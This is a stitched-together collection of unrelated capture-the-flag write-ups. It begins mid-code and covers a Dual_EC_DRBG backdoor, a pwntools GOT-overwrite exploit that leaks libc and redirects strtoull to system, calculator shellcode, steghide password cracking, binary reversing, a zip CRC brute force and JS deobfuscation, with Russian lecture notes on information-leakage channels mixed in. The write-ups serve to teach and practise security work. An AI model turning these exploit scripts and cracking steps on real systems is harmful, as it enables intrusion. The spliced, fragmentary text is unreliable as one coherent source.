prng.prng_output_index = 32 return bytes_to_long(self.prng_temporary) def prng_generate(self): _time = time.time() prng.prng_output_index = 0 if not self.one_state_rng: print("prng_reseed ", self.prng_reseed()) ansi_obj = ANSI(self.prng_seed + self.prng_key + long_to_bytes(_time).rjust(16, "\x00")) while prng.prng_output_index <= 0x1f: self.prng_temporary += ANSI.get(8) prng.prng_output_index += 8 print("prng generate = ", bytes_to_long(self.prng_temporary)) return bytes_to_long(self.prng_temporary)```At the first glance, it may seem like the `prng` is using `ANSI` class to generate `random data` but in the settings used by the challenge, `prng` directly gives the `random_data` generated by `dual_ec_drbg`.```pythonclass ecprng: # Curve P-256; source: https://safecurves.cr.yp.to/ p = 2**256 - 2**224 + 2**192 + 2**96 - 1 a = p-3 b = 41058363725152142129326129780047268409114441015993725554835256314039467401291 ec = ecc.CurveFp(p, a, b) _Px = 115113149114637566422228202471255745041343462839792246702200996638778690567225 _Py = 88701990415124583444630570378020746694390711248186320283617457322869078545663 Point_P = ecc.Point(ec, _Px, _Py) _Qx = 75498749949015782244392151836890161743686522667385613237212787867797557116642 _Qy = 19586975827802643945708711597046872561784179836880328844627665993398229124361 Point_Q = ecc.Point(ec, _Qx, _Qy) def __init__(self, seed): self.seed = seed if self.seed: assert len(long_to_bytes(self.seed)) == 32 def update_seed(self, intermediate_state_S_1): self.seed = (intermediate_state_S_1 * ecprng.Point_P).x() assert len(long_to_bytes(self.seed)) == 32 def ec_generate(self): intermediate_state_S_1 = (self.seed * ecprng.Point_P).x() self.update_seed(intermediate_state_S_1) r_1 = long_to_bytes((intermediate_state_S_1 * ecprng.Point_Q).x())[-30:] r_2 = long_to_bytes((self.seed * ecprng.Point_Q).x())[-30:][:2] assert len(r_1 + r_2) == 32 print("seed == ", self.seed) return bytes_to_long(r_1 + r_2)```so, `random_number` `e` is generated using `dual_ec_drbg` with `P-256` curve.we can predict the `next state` of the generator if author has inserted a backdoor into the generator.See the video from `David Wong` for an excellent explanation about the backdoor [link](https://www.youtube.com/watch?v=OkiVN6z60lg). so, generator state consists of two points and seed.To generate a random number- s1 = (seed * P).x()- random_number = (s1 * Q).x() & ((1 << 240) - 1) ; (lower 240 bits)- seed = (s1 * P).x() generator follows this above procedure to calculate a single random number.One who decides the points `P` and `Q` has the ability to insert a `backdoor` into the `generator` which will allow him to `predict` the `future states` of `generator` given a `single random number`generated and little other information.The way one can do it is, ```if Q = c * P (c can be any number)given random_number = (s1 * Q).x() lifting the random_number gives the value of (s1 * Q) multiplying the value of (s1 * Q) with the inverse(c, order) and take the x co-ordinate of the result gives the seed.``````cinv * (s1 * Q) = cinv * s1 * c * P = s1 * P = seed```After obtaining the `seed`, one can generate all the future states. There are little changes in the implementation of `dual_ec_drbg` in this challenge. For the points used in this challenge, `Q = 1735 * P`.backdoor exists in this generator. Normally, top `16 bits` of the `random number` i.e `(s1 * Q).x()` are removed, we have to use another `random number` to filter out the wrong ones but in this challenge we are given with additional information in the form of `r2`, we can use that to filter.So, we only need single `e`, after that we can predict all the future states. Final solution is- obtain a value of e by selecting the 1 option(`Asynchronous SchnorrID`)- bruteforce the top `16 bits` and find the `seed`- select option 2, predict the value of e, pass the check using above mentioned method - get the `flag` solution code :: [solve.sage](/Inctfi-2020/EaCy/solve.sage) FLAG :: inctf{Ev3ry_wa11_1s_4_d00r_but_7his_1s_4_D0ubl3_d0or}
The binary has an arbitrary write - No PIE and No relro - patch `elf.got["exit"]` to `main`. `alarm` is leaked automatically. Use that to calculate `libc` base and `system`. Overwrite `elf.got["strtoull"]` with `system`. ```from pwn import * PATH = "/tmp/bullseye"LIBC = ELF("/home/sudhakar/tools/libc-database/db/libc6_2.30-0ubuntu2.2_amd64.so")s = remote("jh2i.com", 50031)# s = process(PATH)# gdb.attach(s)context.binary = PATHelf = context.binaryex = elf.got["exit"]sl = elf.got["strtoull"]mn = elf.symbols["main"]ret = 0x40101aoffset_system = 0x554e0context.log_level = "debug"s.recvline()s.recvline()s.recvline()s.sendline(hex(ex))s.recvline()s.sendline(hex(mn)) leak = int(s.recvline(), 16)success(hex(leak))libc_base = leak - LIBC.symbols["alarm"]success(hex(libc_base)) s.recvline()s.recvline()s.recvline()s.sendline(hex(sl))s.recvline()s.sendline(hex(libc_base+offset_system))s.interactive() # flag{one_write_two_write_good_write_bad_write}```
# UIUCTF2020: gen z math class (pwn, 1 solve, 500 points) I played UIUCTF with Dice Gang last weekend. We won. Here's my writeup of one ofthe more interesting challenges from the CTF: the pwn that had 1 solve at contestend. Upon first opening the challenge you are greeted with 3 files on a 'calculator',a website that allows you to submit images, and source for those filesas well as how to build them. These files are meant to be run using the [CEmu](https://ce-programming.github.io/CEmu/)emulator. So, combined with the challenge category we learn that we are going to bepwning a Texas Instruments calculator. Specifically, we're pwning a program on onethat was written in C. ## Getting started with CEmu and z80 The first important aspect to pwning these calculators is understanding the architecture. That is,we need to deal with z80. z80 is a RISC-y architecture from a long time ago designed for(extremely) low-power systems---hence its appearance in the TI-84. Some important notes are thatit doesn't support most common security mitigations (though the TI-84 loads nondeterministrically whichI'll discuss later), its 24-bit, and little endian. CEmu itself is very, very nice to work with. It has an integrated debugger, hex viewer, file loader,save states, etc..., which made working with this architecture much easier. (Though symbolsin the debugger were inconsistent at best). Onto the actual problem. Looking through the source, we see immediately a contrived section that looksvery vulnerable. Namely, function pointers and `memcpy`. ```ctask_t* task_init() { ... size = *(uint16_t*)archived_data; // we control archived_data raw_data = malloc(size); // so we control size task = malloc(sizeof(task_t)); // raw_data is before task on the heap, // but task's function pointers are written to before raw_data. this is very contrived task->filters.count = 2; task->filters.arr = default_filters; // a function pointer array memcpy(raw_data, archived_data, SIZE); // if size < SIZE, then we overwrite the function pointer array ...}``` ## About that controlled data... The image format accepted by this is the TI calculator's own format, which wasreversed by some people and the results were used in other parts of the code. Idon't particularly care for the format though, since the first obstacle I ran intowas validation of the image file payload we were trying to run. It seemed likeanything other than the standard files we recieved, even changing 1 bit of of theimage data, would lead us to not even get the image onto the calculator. That was until I found an amazing [reference](http://merthsoft.com/linkguide/ti83+/fformat.html) about thefile format, which I quickly used to format my payloads in a way that would be accepted onto thecalculator. All it took was copying the metadata from the known-valid files, and replacing the data,checksum, and length fields with the right values---note that there's length field__s__. ## Debugging the exploit Now that we could throw whatever we wanted into the `archived_data` variable inthe section above, we just had to figure how how to make it do what we wanted. Like withmost pwn, the first goal was pc control. Before that though, I wanted to checkthat this was _actually_ the bug. I quickly tested and sure enough, changing thefirst 2 bytes of the data to something small (little endian) caused a calculator resetand `RAM cleared` upon running the program we were supposed to pwn. That lengthfield is actually not the same as other length fields within the file that was loadedonto the calculator, so while we are allowed to make the image data short accordingto the image itself, the data section of the image variable could be substantially longer,so we did have the ability to control memory past `archived_data + size`. As for debugging, in order to print out arbitrary memory before I had gotten used tothe CEmu interface, I would recompile the source of the program with the CEmu toolchain,but adding in some writes to a debug variable, which I could view the hex data offrom the CEmu emulator. With that, I could see specifically what was going where in memory, and this isactually when I realized that the architecture has 24-bit everything: ints, uints, pointers, etc..Therefore, if we want to bash out alignments we only need to try 3 things, which is nice. My first idea was to send the pc to `quit`, which I did just by spamming quit's address whereverI could. Unfortunately, this lead to a crash, which I quickly fixed up by changing mypayload to the following ```0100 // size = 1(address of quit)(address of the image segment in ROM) * N``` As some explanation, TI calculators seem to load the contents of the image in the first slotin a fairly consistent spot in ROM (yes, ROM according to CEmu). So, this payload justsaid that the array of function pointers started at the ROM segment that would contain theaddress of quit. Running this in CEmu, I got a clean exit. ## Shellcoding Rather than learning z80, I just made a function called `win()` on my personalversion of the program that would call `PutScreenLine` (or the equivalent) ona specific location in memory where I was pretty sure the flag loaded into.I loaded up CEmu, copied over the hex from the function address into python, and boom shellcode. The new payload was ```0100 // size = 1 (0 doesn't work)(address of shellcode)(address of the image segment in the ROM) * N(shellcode)``` This was getting the flag, but was incredibly inconsistent due to where the flagloaded into memory being nondeterministic. However, I did find a place where some sectionof the flag tended to load into, and so using that address in the shellcode worked muchbetter. ## Last fix Running this against the server resulted in a crash, not the flag like I had hoped. ![the crash](failed.png) So, I checked my teammates to see if they could reproduce the crash, or if itpopped the flag fore them too. One teammate (noopnoop) had the crash, and itturns out that the place where the image data loads into ROM is very inconsistent:in fact its more inconsistent than where the first malloc lands. So, using thestrange consistency of the first malloc I just loaded the shellcode from theheap rather than the image, and on the server... ![win](win.png)
No writeup, only solution(because will just take up too much space, and solution way is same as the previous tasks)))Have some written solution but it's on C(or python)```pythonimport socketfrom Crypto.Hash import SHAfrom Crypto import Randomfrom Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_v1_5key=RSA.import_key(open("private.der","rb").read())cipher = PKCS1_v1_5.new(key) sock=socket.socket()sock.connect(("trustctf.disasm.me",1234))sock.send(b"Hello\n")assert(sock.recv(6)==b"Hello\n")data = sock.recv(128)dsize = SHA.digest_sizesentinel = Random.new().read(15+dsize)message = cipher.decrypt(data, sentinel)id = message.decode()data = cipher.encrypt(b"Hello\n")sock.send(data)assert(sock.recv(128)==data)flag=(sock.recv(128)).decode()print(flag % id)``` [Solution written on C](https://github.com/Vairelt/unictf2020/tree/master/Client%20Handler/solve)
### **Challenge**:I have an old damaged disk , it contains a lot of my images , I use it as a gallery actually , in it , I had a secret can you get it back for me ?[File](https://mega.nz/file/WahAzABZ#7G3oM4uiG2rESutwZcNwaklLzEkVf5ex3R0P6qSVEdg) ### **Solution:** ##### **Method 1:**The link gives us an EWF file.```root@kali:~/Downloads# file challenge.E01 challenge.E01: EWF/Expert Witness/EnCase image file format```I searched Google about mounting EWF files and found ewf-tools(apt install ewftools), to easily complete the task in Kali Linux.```root@kali:~/Downloads# mkdir rawimageroot@kali:~/Downloads# ewfmount challenge.E01 rawimage/ewfmount 20140807 root@kali:~/Downloads# mkdir mountpointroot@kali:~/Downloads# mount ./rawimage/ewf1 ./mountpoint -o ro,loop,show_sys_files,streams_interace=windows root@kali:~/Downloads# cd mountpoint/root@kali:~/Downloads/mountpoint# ls -latotal 3032drwxrwxrwx 1 root root 4096 Jul 27 01:57 .drwxr-xr-x 4 root root 4096 Aug 11 01:28 ..-rwxrwxrwx 1 root root 2560 Jul 27 01:37 '$AttrDef'-rwxrwxrwx 1 root root 0 Jul 27 01:37 '$BadClus'-rwxrwxrwx 1 root root 576 Jul 27 01:37 '$Bitmap'-rwxrwxrwx 1 root root 8192 Jul 27 01:37 '$Boot'drwxrwxrwx 1 root root 0 Jul 27 01:37 '$Extend'-rwxrwxrwx 1 root root 2097152 Jul 27 01:37 '$LogFile'-rwxrwxrwx 1 root root 4096 Jul 27 01:37 '$MFTMirr'drwxrwxrwx 1 root root 0 Jul 27 01:38 '$RECYCLE.BIN'---------- 1 root root 0 Jul 27 01:37 '$Secure'-rwxrwxrwx 1 root root 131072 Jul 27 01:37 '$UpCase'-rwxrwxrwx 1 root root 0 Jul 27 01:37 '$Volume'-rwxrwxrwx 1 root root 332475 Jul 27 01:53 1200px-Blason_étoile_du_sahel.svg.png-rwxrwxrwx 1 root root 86910 Jul 27 01:52 1200px-Flag_commune_Sousse.svg.png-rwxrwxrwx 1 root root 15165 Jul 27 01:54 156-1568990_trident-trident-vector-png-transparent-png.png-rwxrwxrwx 1 root root 9112 Jul 27 01:52 'download (1).png'-rwxrwxrwx 1 root root 11128 Jul 27 01:52 'download (2).png'-rwxrwxrwx 1 root root 10038 Jul 27 01:52 download.png-rwxrwxrwx 1 root root 195761 Jul 27 01:52 Poseidon.pngdrwxrwxrwx 1 root root 0 Jul 27 01:38 Steghidedrwxrwxrwx 1 root root 0 Jul 27 01:37 'System Volume Information'-rwxrwxrwx 1 root root 26894 Jul 27 01:54 trident-trident-png-clip-art.png-rwxrwxrwx 1 root root 39386 Jul 27 01:53 'unnamed (1).png'-rwxrwxrwx 1 root root 89751 Jul 27 01:53 unnamed.png-rwxrwxrwx 1 root root 8340 Jul 27 01:48 Wallpaper_HD_19756487Ef4.jpg```As we can see there's a directory called Steghide it gives a hint about using the tool. Steghide extracts hidden image data form image files with a password and works only on jpg file formats. So I apply it on Wallpaper_HD_19756487Ef4.jpg.```root@kali:~/Downloads/mountpoint# steghide extract -sf Wallpaper_HD_19756487Ef4.jpg Enter passphrase: steghide: could not extract any data with that passphrase!```So now we need a password and it must be hiddden somewhere. I check all images with different steganography techniques but found nothing. After looking into the directories I found some files in the $RECYCLE.BIN.```root@kali:~/Downloads/mountpoint/$RECYCLE.BIN/S-1-5-21-1731612336-1848057521-3450626154-1001# ls -latotal 22drwxrwxrwx 1 root root 0 Jul 27 01:57 .drwxrwxrwx 1 root root 0 Jul 27 01:38 ..-rwxrwxrwx 1 root root 60 Jul 27 01:57 '$IJXVQDX.txt'-rwxrwxrwx 1 root root 58 Jul 27 01:57 '$IK1ODPJ.txt'-rwxrwxrwx 1 root root 0 Jul 27 01:56 '$RJXVQDX.txt'-rwxrwxrwx 1 root root 17982 Jul 27 01:44 '$RK1ODPJ.txt'-rwxrwxrwx 1 root root 129 Jul 27 01:38 desktop.ini```The largest file contains some ascii text which looked like a Wordlist to me. Few lines...```zQn5(bX6V!q+r/kZtFW8fTN&@2EZ5TvP>Cr)_jeR3y*BaGV[xz@s%}CaZKWDvSP![wLf25nkqJ{^MsfGWzq?>{cbJLVd4^3p(Re!s5S}VGR54uPvsj!y=*]}6X@w{r/>ZzLf@s{JP&=3j6[x$X-c/EuGb7gKmKDy4.a6rUj59pe&^{%?8C!/ZqYE=bJ?HPkBL}qrmMQ+&*CTfZ3V[_mj5BhzKvU2.kVDn&H^s/fN{7z)$y@]cagShdbk+XY&7E%4rB2H```So I used stegcracker to bruteforce the password on the jpg file with this wordlist.```root@kali:~/Downloads# stegcracker Wallpaper_HD_19756487Ef4.jpg worlist.txt StegCracker 2.0.9 - (https://github.com/Paradoxis/StegCracker)Copyright (c) 2020 - Luke Paris (Paradoxis) Counting lines in wordlist..Attacking file 'Wallpaper_HD_19756487Ef4.jpg' with wordlist 'worlist.txt'..Successfully cracked file with password: fs6-K*Qa!qeG5Jv.URBx8)]Zu%Tried 174 passwordsYour file has been written to: Wallpaper_HD_19756487Ef4.jpg.outfs6-K*Qa!qeG5Jv.URBx8)]Zu%```It successfully extract a file and we get the flag in the text file. ##### **Method 2:**For another method primarily in windows...[Link](https://github.com/Reymor/CTFs/blob/master/PoseidonCTF2020/Gallery/solution.md) ### **Flag:**```Poseidon{uR3_4_G00D_AN4Ly5t}```
We start with a binary called `mixer`:```$ file mixermixer: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped``` Let's open it in Binary Ninja. The `_start` function is really short:\ ![_start](_start.png) `mprotect` modifies protection for particular places in memory (depending on compilation parameters, you can't always execute and read from every place).Let's see what the `prot` argument for `sys_mprotect` is, for this consult `man mprotect`:``` prot is a combination of the following access flags: PROT_NONE or a bitwise-or of the other values in the following list: PROT_NONE The memory cannot be accessed at all. PROT_READ The memory can be read. PROT_WRITE The memory can be modified. PROT_EXEC The memory can be executed.```Number `7` is `111` in binary, so it means that we ask for the ability to read, write and execute, from address `0x600000` up till `0x700000`. Next, there's some xoring with one byte hardcoded key, in pseudo-C it's```cchar *tab = 0x610000;for (size_t i = 0; i < 0x791; ++i) { tab[i] ^= 0x2a;}``` What happens next, is we see a [`ret far`](https://www.felixcloutier.com/x86/ret). We see that far return is a so-called intersegment return, which means setting `cs` to something different than default. The `0x23` is the code segment and `0x610000` (the array we just modified) is the return address. It turns out that `cs==0x23` on 64 bit Linux means a switch to 32-bit mode. Let's decrypt that chunk from memory and see what does it mean as a 32 bit code. This can be done in Binary Ninja by dumping that part of the file, and loading it as a raw 32-bit file, with entry point at `0x610000`:```pythonwith open('file.bin', 'wb') as f: data = bv.read(0x610000, 0x791) xored = bytes([x^0x2a for x in data]) f.write(data)``` ![bin1](bin1.png) (last block from previous screenshot overlaps) ![bin2](bin2.png) We quickly notice that there's just one point of return, and it's again a `ret far`, this time with `cs=0x33`, which is a return to 64 bit mode. The address there points just at the `cmp eax, 0x0`: ![backfromretfar](backfromretfar.png) Examining strings (moved to `rsi`), we know that `eax` needs to equal 0 at the end of our 32 bit code. Back to the x86 bit code: after a while of careful reversing, we notice this is a stream cipher (RC4 specifically, but it's not important): which takes 32 bytes from the `stdin`, takes a hardcoded key from memory, generates keystream and xors the input (which is at `0x610771`) and the output (which is at `0x610371`). The expected encrypted flag is also in the memory - at `0x610151`. We know it, because there's a checksum, which verifies that the `xor(computed_encrypted_flag) ^ xor(expected_encrypted_flag)` is zero (this is the `eax` at the end). This is obviously too few information, so we take an obvious guess, that the memory content there is actually the encrypted flag. To extract the flag, we use the property of xor, which tells that if `flag xor keystream == known_data`, then `flag == keystream xor known_data`. To get the `keystream` and `known_data`, we simply use `gdb` and supply input consisting of all zeros (which we store in file `input`, for convenience):```$ gdb ./mixerset architecture i386:x64-32 # necessary to see correct instructions# first let's break before the ret far, idk why but otherwise the binary segfaultsb *0x401053# now let's break before checksum verification# also, because I didn't decrypt the memory directly in Binary Ninja (which I could have), and didn't patch-out the decryption process, gdb shows me wrong instructions, but that doesn't matterb *0x61011fr < inputc 2 # skip to after second breakpoint# now that we are here, let's read the memorypwndbg> x/32xb 0x6103710x610371: 0xf4 0xbc 0xcb 0xaf 0x8b 0x52 0x0c 0x790x610379: 0xbe 0xcd 0x00 0x1b 0xb0 0x86 0x7d 0xa60x610381: 0x82 0x72 0xf8 0xda 0xc1 0x42 0xba 0xf60x610389: 0x07 0xbd 0xd1 0x05 0x74 0xcb 0x78 0xf6pwndbg> x/32xb 0x6101510x610151: 0x84 0xd3 0xb8 0xca 0xe2 0x36 0x63 0x170x610159: 0xc5 0xae 0x30 0x7f 0xd5 0xd9 0x10 0xcf0x610161: 0xfa 0x41 0x8a 0xa0 0xbb 0x1d 0xdb 0x840x610169: 0x62 0xe2 0xa6 0x36 0x1d 0xb9 0x1c 0x8b```Quick decode in Python gives the flag:```poseidon{c0de_mix3rzz_are_w3ird}```
1. **Характеристика технических каналов утечки информации**. * По физической природе носителя: -Оптические; -Акустические; -Материально-вещественные; -Радиоэлектронные; * По времени функционирования: -Постоянные; -Эпизодические; -Случайные; * По информативности: -Информативные; -Малоинформативные; -Неинформативные; * По структуре: -Одноканальные; -Составные; 2. **Способы и средства выявления технических каналов утечки информации**. *Индикаторы электромагнитных излучений* Прибор регистрирует ЭМИ в определенной точке пространства. Если уровень превышает пороговый, соответствующий естественному фону, срабатывает звуковое или световое предупреждение. Работающая радиозакладка будет обнаружена в том случае, если уровень ЭМИ, образующихся при ее работе, превышает уровень фоновых излучений.РадиочастотометрыВ отличие от индикаторов ЭМИ эти приборы регистрируют превышение порога по частоте. Поиск устройств съема осуществляется путем планомерного обхода помещения с радиочастотометром. При обходе помещения антенну необходимо ориентировать в разных плоскостях, при этом расстояние от антенны до обследуемых объектов должно быть 5-20 см. Возможное месторасположение закладки определяется по максимальному уровню сигнала в определенной точке пространства обследуемого помещения. При обнаружении излучения на дисплее высвечивается частота принимаемого сигнала, происходит звуковое или световое оповещение. *Сканирующие приемники* Так же, как индикаторы поля и радиочастотометры, сканирующие приемники могут применяться в целях контроля. Программа DIGITAL SUITE позволяет проводить анализ временных и частотных характеристик сигнала, обработку сигналов различных стандартов, а также записывать на жесткий диск аудиосигналы в WAV-формате. Эта программа интегрируется в базовую программу и допускает работу со всеми типами радиоприемников Winradio. Для осуществления процедур анализа и обработки сигналов используется стандартная звуковая карта компьютера. Программа DATABASE обеспечивает ведение специализированной базы данных. Она позволяет достаточно просто в процессе приема вести накопление и поиск информации о радиостанциях по частоте, позывному, координатам и другим полям данных. В состав программы входит уже сформированная база данных с информацией о более чем трехстах тысячах зарегистрированных по всему миру радиостанциях, с данными по их частотам, странам пребывания, географическим координатам. *Автоматизированные поисковые комплексы* Комплекс "КРОНА" предназначен для обнаружения и локализации радиозакладок, использующих все известные на сегодняшний день средства маскирования, а также для решения широкого круга задач радиомониторинга. Работает в диапазоне до 3 ГГц (до 18 ГГц с дополнительным конвертором). Имеет возможность автоматического распознавания цифровых каналов передачи данных и обнаружения скрытых видеокамер, передающих информацию по радиоканалу. Комплекс "Крона Про" представляет собой многоканальный комплекс обнаружения радиоизлучающих средств и радиомониторинга. Диапазон контроля 10....3000 МГц (до 18000 МГц с дополнительным конвертором); обнаружение радиозакладок WFM, NFM, AM, с частотным cкремблированием; обнаружение скрытых радиопередающих видеокамер; возможность автоматического распознавания цифровых каналов передачи данных; до шести одновременно используемых прогрессивных алгоритмов и методик обнаружения; точность определения местоположения - до 10 см. Автономное питание до 2 часов.Досмотровая техникаДля выявления внедренных устройств перехвата информации как объектов, имеющих определенные физические свойства (габариты, массу, структуру, состав) используется так называемая досмотровая техника. В основу работы нелинейных локаторов как средства обнаружения ТКУИ положено свойство электропроводящих материалов отражать радиоволны. Этим свойством в полной мере обладают средства перехвата информации. Поскольку для обнаружения радиозакладок используются нелинейные свойства полупроводниковых элементов, приборы назвали нелинейными локаторами.Основным достоинством является то, что данные устройства могут обнаружить радиозакладку как во включенном состоянии, так и в выключенном. Таким образом, нелинейные локаторы способны дать почти 100 процентную гарантию обнаружения в отличие от других устройств контроля. 3. **Порядок установления в организации правового режима обращения со служебной информацией ограниченного распространения (указ Президента РФ №188 от 06.03.1997).** Указ Президента РФ №188 от 06.03.1997 - объясняет как нужно обращаться с конфиденциальной информацией.1. Необходимость проставления пометки "Для служебного пользования" на документах и изданиях, содержащих служебную информацию ограниченного распространения, определяется исполнителем и должностным лицом, подписывающим или утверждающим документ.2. Прием и учет (регистрация) документов, содержащих служебную информацию ограниченного распространения, осуществляются, как правило, структурными подразделениями, которым поручен прием и учет несекретной документации.3. Документы с пометкой "Для служебного пользования":печатаются в машинописном бюро. На обороте последнего листа каждого экземпляра документа машинистка должна указать количество отпечатанных экземпляров, фамилию исполнителя, свою фамилию и дату печатания документа.4. Исполненные документы с пометкой "Для служебного пользования" группируются в дела в соответствии с номенклатурой дел несекретного делопроизводства.5. Уничтожение дел, документов с пометкой "Для служебного пользования" производится по акту.6. . Передача документов и дел с пометкой "Для служебного пользования" от одного работника другому осуществляется с разрешения соответствующего руководителя.7. При снятии пометки "Для служебного пользования" на документах делаются соответствующие отметки и информируются все адресаты, которым эти документы (издания) направлялись.
# Infected ## Problem descriptionWe intercepted a message that was trying to leak from our infrastructure with a secret flag. Ransomware was found on one of our computers, it uses zip archives as an encryption mechanism. It selectively changes two bytes in the structure, in the place that is responsible for crc32, to those that the control server will send. The archive password was hardcored in ransomd - "infected". A team gets an additional 100 points if they describe in ls @ hexadec1mal a way to solve a task without using brute force. Link to zip: https://mega.nz/file/f1sUAaLB#mpfkfCzWNh7AWMxoT08YincX1xW3cdfjxEWuN4ykido **Category: Misc** ## Personal noteTo do this problem I decided to use Python. My attempt was based on brute force. I had not worked on a similar problem before, and finished just after the competition closed. Still, it was an interesting exercise, and a good learning experience. ## Concepts### Zip structureLiterature:[The structure of a PKZip file](https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html) ### Change bytes in a file using pythonhttps://docs.python.org/3/library/mmap.html ## Commands ### Check for errors in a password protected zip fileWe can use the following command in bash: \```$ 7z l -slt $FILE``` This command returns 0 if no errors. (I also tried to use `$ unzip -t $FILE`, however this did not work for password protected zip files.) ## SolutionFirst I tried to unzip the file, but the specified password was not accepted. Reading about zip file structure, I found that the CRC was located in byte 14-17 of the local file header. Since two bytes in this section have been altered, we need to restore the correct byte values (thus correcting the zip file error). I looked for a command to check for errors in the zip file (so that I would know when the error was corrected) and played around with changing the CRC in hexeditor. Finally, I made the script, which would systematically go through two bytes at a time in the CRC and make alterations, checking if the zip file still has errors. It ensures that all possible byte values are tried in any two bytes in the CRC. When the zip file no longer has errors, the script exits, having stored a corrected version of the zip file. ```import mmapimport subprocessfrom itertools import combinations def changeFile(file, fromRange, toRange): # Store the list of any two bytes of the CRC (when fromRange is 14, toRange is 18) comb = combinations(list(range(fromRange, toRange)), 2) with open(file, 'a+') as f: data = f.read() # m now lets us access the individual bytes of the file m = mmap.mmap(f.fileno(), 0) # Go through the list of any two bytes of the CRC (when fromRange is 14, toRange is 18) for i in list(comb): # Storing the byte indexes firstByte = i[0] secondByte = i[1] # Storing the original byte values (as they need to be restored later) origFirstByte = m[firstByte] origSecondByte = m[secondByte] # Loop to systematically change the byte values: i contains the value we will # set the first byte to, j contains the value we will set the second byte to for i in range(0, 256): for j in range(0, 256): m[firstByte] = i m[secondByte] = j m.flush() # Write changes to file # Check if the zip file still errors, calling 7zip as a subroutine (suppressing output) code = subprocess.run(["7z", "l", "-slt", file], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL).returncode if code == 0: print("The right CRC sequence is:", m[fromRange:toRange]) m.close() f.close() exit(0) # Resetting byte values m[secondByte] = origSecondByte m[firstByte] = origFirstByte m.close() f.close() # Call the functionchangeFile('REALLY FLAG IS HERE.zip', 14, 18)``` When the code finishes executing, we get the following output: \The right CRC sequence is: b'\x8a\xfaL\x0b' Now we can get the flag: \`$ unzip "REALLY FLAG IS HERE.zip"` (insert password: infected) \`$ cat "REALLY FLAG IS HERE.txt"` unictf{n4ughty_crc_h4sh}
Bruteforce solution without z3 or anything except math and force. Not the intended solution, but it does work. Intended solution was to notice the reference to the "Remote Control" vocaloid song and put commands from its lyrics to the program. However, I tried that and it didn't work for me. [Read the solution code here](https://gist.github.com/paulll/7a8e65d1b6a1b91bae86874a73775f6d)
## TL-DRWe discover the client binary is using ssh, we get the private key out of the binary and get the user also we use ssh keys to do forward port tunneling of the mongodb port from the server to our machine we connect to the db and get the otp of the admin provide it to the website and we get the flag. read the full writeup at [writeup](https://github.com/team0se7en/CTF-Writeups/tree/master/Cybrics2020/CTB(crack-the-box)/OTP)
# Secure Portal >This is a super secure portal with a really unusual HTML file. Try to login.>>http://chall.csivit.com:30281 The page is asking for a password. Looking at the page source I found this obfuscated JavaScript code: ```javascriptvar _0x575c=['\x32\x2d\x34','\x73\x75\x62\x73\x74\x72\x69\x6e\x67','\x34\x2d\x37','\x67\x65\x74\x49\x74\x65\x6d','\x64\x65\x6c\x65\x74\x65\x49\x74\x65\x6d','\x31\x32\x2d\x31\x34','\x30\x2d\x32','\x73\x65\x74\x49\x74\x65\x6d','\x39\x2d\x31\x32','\x5e\x37\x4d','\x75\x70\x64\x61\x74\x65\x49\x74\x65\x6d','\x62\x62\x3d','\x37\x2d\x39','\x31\x34\x2d\x31\x36','\x6c\x6f\x63\x61\x6c\x53\x74\x6f\x72\x61\x67\x65',];(function(_0x4f0aae,_0x575cf8){var _0x51eea2=function(_0x180eeb){while(--_0x180eeb){_0x4f0aae['push'](_0x4f0aae['shift']());}};_0x51eea2(++_0x575cf8);}(_0x575c,0x78));var _0x51ee=function(_0x4f0aae,_0x575cf8){_0x4f0aae=_0x4f0aae-0x0;var _0x51eea2=_0x575c[_0x4f0aae];return _0x51eea2;};function CheckPassword(_0x47df21){var _0x4bbdc3=[_0x51ee('0xe'),_0x51ee('0x3'),_0x51ee('0x7'),_0x51ee('0x4'),_0x51ee('0xa')];window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('9-12','BE*');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x2'),_0x51ee('0xb'));window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x6'),'5W');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('16',_0x51ee('0x9'));window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x5'),'pg');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('7-9','+n');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0xd'),'4t');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x0'),'$F');if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x8'))===_0x47df21[_0x51ee('0x1')](0x9,0xc)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x2'))===_0x47df21['substring'](0x4,0x7)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x6'))===_0x47df21[_0x51ee('0x1')](0x0,0x2)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]]('16')===_0x47df21[_0x51ee('0x1')](0x10)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x5'))===_0x47df21[_0x51ee('0x1')](0xc,0xe)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0xc'))===_0x47df21[_0x51ee('0x1')](0x7,0x9)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0xd'))===_0x47df21[_0x51ee('0x1')](0xe,0x10)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x0'))===_0x47df21[_0x51ee('0x1')](0x2,0x4))return!![];}}}}}}}return![];}``` I found this [really cool JS deobfuscator online](https://lelinhtinh.github.io/de4js/) and I used that to deobfuscate most of the JavaScript. Unfortunately, it looked like it needed some work. It looked [like this](deobfuscated.js). I found out that `_0x575c` was just a look up table of strings, so I evaluated it and got the unescaped strings. I found out that it wasn't part of the output from the JS deobfuscator I found, so I had to copy and paste that back in myself. I also renamed some variables and functions that had random hex as its name, to make the code more readable. ```javascriptvar _lookupTable=[ // look up table of strings '2-4', 'substring', '4-7', 'getItem', 'deleteItem', '12-14', '0-2', 'setItem', '9-12', '^7M', 'updateItem', 'bb=', '7-9', '14-16', 'localStorage'];``` I also found another function whose only purpose was to convert the first argument from a string to a number and look up that index in the loop up table above. ```javascriptvar _lookUpStringAtPos = function (_op1, _op2) { // argument 1 